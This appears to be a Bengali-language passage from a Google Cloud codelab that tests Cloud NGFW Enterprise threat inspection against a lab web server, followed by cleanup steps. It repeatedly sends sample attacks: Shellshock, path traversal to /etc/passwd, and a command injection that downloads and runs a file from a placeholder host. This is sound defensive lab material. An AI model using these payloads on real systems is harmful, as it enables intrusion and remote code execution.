SSH সেশনে প্রয়োজনীয় ভেরিয়েবলগুলি সংজ্ঞায়িত করুন এবং ভেরিয়েবলগুলি সেট করুন (নিশ্চিত করুন যে মানগুলি সঠিক):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

উভয় আইপিই পৌঁছানো সম্ভব কিনা তা নিশ্চিত করার জন্য কার্ল করুন:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

উভয় কার্ল অনুরোধের জন্য প্রত্যাশিত ফলাফল:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

অভ্যন্তরীণ সার্ভার আইপিতে (পূর্ব-পশ্চিম / অভ্যন্তরীণ-ভিপিসি ট্র্যাফিক) নমুনা আক্রমণ পাঠান। ওয়েব সার্ভারের সমস্ত অনুরোধের প্রতিক্রিয়া জানানো উচিত, নিশ্চিত করা উচিত যে কোনও L7 পরিদর্শন/প্রতিরোধ ব্যবস্থা নেই:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

ক্লাউড NAT (উত্তর-দক্ষিণ ইনবাউন্ড ট্র্যাফিক) এর মাধ্যমে নমুনা আক্রমণগুলি বহিরাগত সার্ভার আইপিতে পুনরায় পাঠান, এবং একইভাবে ওয়েব সার্ভারটি সমস্ত অনুরোধের প্রতিক্রিয়া জানাবে:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

পাবলিক এবং প্রাইভেট উভয় আইপির জন্য প্রত্যাশিত ফলাফল:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

ক্লাউড শেলে ফিরে যান এবং L7 পরিদর্শন সক্ষম করতে বিদ্যমান প্রবেশের নিয়মগুলি আপডেট করুন:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

ঐচ্ছিকভাবে, ফায়ারওয়াল নিয়মগুলি বর্ণনা করুন যাতে উভয়ই সফলভাবে আপডেট হয়েছে তা যাচাই করা যায়:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

প্রত্যাশিত আউটপুট:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

নিয়ম ৭০০০:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

প্রত্যাশিত আউটপুট:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

ক্লায়েন্ট VM-এ ফিরে যান এবং অভ্যন্তরীণ সার্ভার IP (পূর্ব-পশ্চিম / ইন্ট্রা-ভিপিসি পরিদর্শন) তে নমুনা আক্রমণগুলি পুনরায় পাঠান:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

ক্লাউড NAT (উত্তর-দক্ষিণ ইনবাউন্ড পরিদর্শন) এর মাধ্যমে নমুনা আক্রমণগুলি বহিরাগত সার্ভার আইপিতে পুনরায় পাঠান:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

নীচের প্রত্যাশিত ফলাফল অনুসারে প্রথম আক্রমণগুলির জন্য কোনও প্রতিক্রিয়া পাওয়া যায়নি, যা নিশ্চিত করে যে উচ্চ তীব্রতার আক্রমণগুলি এখন ব্লক করা হচ্ছে।

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

লগগুলি যাচাই করতে ক্লাউড কনসোলে নেটওয়ার্ক সুরক্ষা > হুমকিতে নেভিগেট করুন (যদি আক্রমণগুলি এখনও প্রদর্শিত না হয় তবে আপনাকে কয়েকবার রিফ্রেশ করতে হতে পারে)।

অনুসরণ

আক্রমণগুলির মধ্যে একটি বেছে নিন এবং ডান দিকে "ভিউ অডিট লগ" এ ক্লিক করুন (সহজেই ফিরে যেতে একটি নতুন ট্যাবে খুলুন)। বিস্তারিত দেখানোর জন্য আক্রমণটি প্রসারিত করুন:

5f97cdef79e42eff.png সম্পর্কে

ঐচ্ছিকভাবে, লগ এক্সপ্লোরার ফিল্টারটি নীচের কোয়েরি দিয়ে প্রতিস্থাপন করুন:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

হুমকি লগ এন্ট্রিগুলি নীচের মতো দেখা উচিত:

5ea9581a7eb694c5.png সম্পর্কে

ক্লাউড ফায়ারওয়াল ইন্টারসেপ্টেড প্যাকেটগুলি নীচের লগ এক্সপ্লোরার ফিল্টার ব্যবহার করে যাচাই করা যেতে পারে (সমস্যা সমাধানের জন্য সহায়ক):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png সম্পর্কে

ইন্টারনেট ট্র্যাফিক পরিদর্শন চালিয়ে যান (ঐচ্ছিক) অথবা SSH সেশনটি বন্ধ করুন এবং পরিষ্কার-পরিচ্ছন্নতার ধাপগুলির জন্য পরবর্তী অধ্যায়ে যান।

[ঐচ্ছিক] ইন্টারনেট ট্রাফিক পরিদর্শন

পূর্ববর্তী বিভাগে যাচাই করা হয়েছে, এখন পর্যন্ত পরিদর্শন করা প্রবাহগুলি হল ইন্ট্রা-সাবনেট/ভিপিসি (পূর্ব-পশ্চিম) এবং ইন্টারনেট থেকে আগত ট্র্যাফিক (উত্তর-দক্ষিণ ইনবাউন্ড)। ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজকে ক্লাউড শেল ব্যবহার করে একটি নতুন ইগ্রেস রুল তৈরি করে সমস্ত ইন্টারনেট ট্র্যাফিক (উত্তর-দক্ষিণ আউটবাউন্ড) পরিদর্শন করার জন্য কনফিগার করা যেতে পারে:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

ক্লায়েন্ট VM-এ ফিরে যান এবং বহিরাগত সার্ভার আইপিতে উচ্চ তীব্রতার আক্রমণ পুনরায় পাঠান:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

প্রত্যাশিত আউটপুট:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

লগগুলি যাচাই করতে ক্লাউড কনসোলের "থ্রেটস" ট্যাবে যান (আপনাকে কয়েকবার রিফ্রেশ করতে হতে পারে)। আক্রমণগুলি সনাক্ত করা এবং আবার লগ করা উচিত ছিল, কিন্তু এখন সোর্স আইপি অভ্যন্তরীণ কারণ প্রথমে একটি বহির্গমন নিয়ম ট্রিগার করা হচ্ছে:

36f8edf264dcddcd.png সম্পর্কে

SSH সেশনটি বন্ধ করুন এবং পরিষ্কারের ধাপগুলির জন্য পরবর্তী বিভাগে যান।

৮. পরিষ্কার-পরিচ্ছন্নতার ধাপ

ক্লাউড NGFW এন্টারপ্রাইজ কম্পোনেন্টস ক্লিন-আপ

বিদ্যমান ক্লাউড NGFW এন্টারপ্রাইজ অ্যাসোসিয়েশনগুলির তালিকা তৈরি করুন:

gcloud network-security firewall-endpoint-associations list

ক্লাউড NGFW এন্টারপ্রাইজ অ্যাসোসিয়েশন মুছে ফেলুন:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

বিদ্যমান ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্টগুলি তালিকাভুক্ত করুন:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্টটি মুছুন, যা প্রায় ২০ মিনিট সময় নিতে পারে:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

নিচের কমান্ডটি চালিয়ে নিশ্চিত করুন যে ক্লাউড NGFW এন্টারপ্রাইজ মুছে ফেলা হয়েছে:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

নিরাপত্তা প্রোফাইল গ্রুপ এবং হুমকি প্রতিরোধ প্রোফাইল মুছে ফেলুন:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

বেস সেটআপ পরিষ্কার-পরিচ্ছন্নতা

আপনি যদি বেস রিসোর্সগুলি মুছে ফেলতে চান তবে পরবর্তী ধাপে যান।

প্রয়োজনে পরিবেশের ভেরিয়েবলগুলি সংজ্ঞায়িত করুন। ক্লাউড শেল থেকে, নেটওয়ার্ক লোড ব্যালেন্সার উপাদানগুলি মুছুন:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

দৃষ্টান্তগুলি সরান:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

ঐচ্ছিকভাবে, যদি tagAdmin এবং tagUsers এর ভূমিকা পরিবর্তন করা হয় তবে নীচের পদক্ষেপগুলি সম্পাদন করুন:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

ট্যাগ কী এবং মানগুলি সরান:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

ক্লাউড ফায়ারওয়াল নেটওয়ার্ক নীতি এবং অ্যাসোসিয়েশন মুছে ফেলুন:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

ক্লাউড রাউটার এবং ক্লাউড NAT মুছে ফেলুন:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

সংরক্ষিত আইপি ঠিকানা মুছে ফেলুন:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

অবশেষে, সাবনেট এবং ভিপিসি নেটওয়ার্ক মুছে ফেলুন:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. অভিনন্দন!

অভিনন্দন, আপনি পূর্ব-পশ্চিম এবং উত্তর-দক্ষিণ পরিদর্শন কোডল্যাবের জন্য ক্লাউড NGFW এন্টারপ্রাইজ সফলভাবে সম্পন্ন করেছেন।